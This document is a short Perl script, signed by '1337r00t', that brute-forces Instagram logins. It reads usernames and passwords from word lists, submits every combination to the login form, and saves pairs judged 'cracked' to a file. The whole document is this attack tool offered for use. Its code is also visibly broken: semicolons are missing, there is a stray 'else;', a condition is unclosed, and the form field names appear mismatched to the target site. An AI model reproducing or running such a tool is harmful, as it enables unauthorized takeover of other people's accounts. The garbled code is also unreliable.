1337r00t

#####################
#
# Coded: 1337r00t
#
#####################

use WWW::Mechanize;
use strict;
my $url = "https://www.instagram.com/accounts/login/"
my $user = $ARGV[0]
my $pass = $ARGV[1]
my $cracked = $ARGV[2]
if (!@ARGV)
    {
     print "./1337.pl userlist.txt passlist.txt cracked.txt ";
    }
else;
    {
      my $mechanize = WWW::Mechanize->new();
      $mechanize->get($url);
      open(USER, "<", $user) || die("Not Found :(UserList)");
      while(<USER>)
        {
         my $usr = $_;
         chomp($usr);
         open(PASS, "<", $pass) || die("Not Found :(PassList)");
         while(<PASS>)
          {
           chomp($_)
           $mechanize->submit_form
                     (
                        form_id => "form",
                        fields => {log => $usr, pwd => $_}
                     );
           print "$usr:$_\n";
           my $content = $mechanize->content;
           if ($content =~ /Welcome/ || $content =~ /Owned/
            {
            print "\n\nCracked : $usr:$_ \n\n"
             if ($cracked)
               {
                 open(CRACKED, ">", $cracked);
                 print CRACKED "$usr:$_\n";
                 close(CRACKED)
                 print "Saved $cracked\n";
               }
             exit;
            }
          }
          close(PASS);
        }
        close(USER);
    }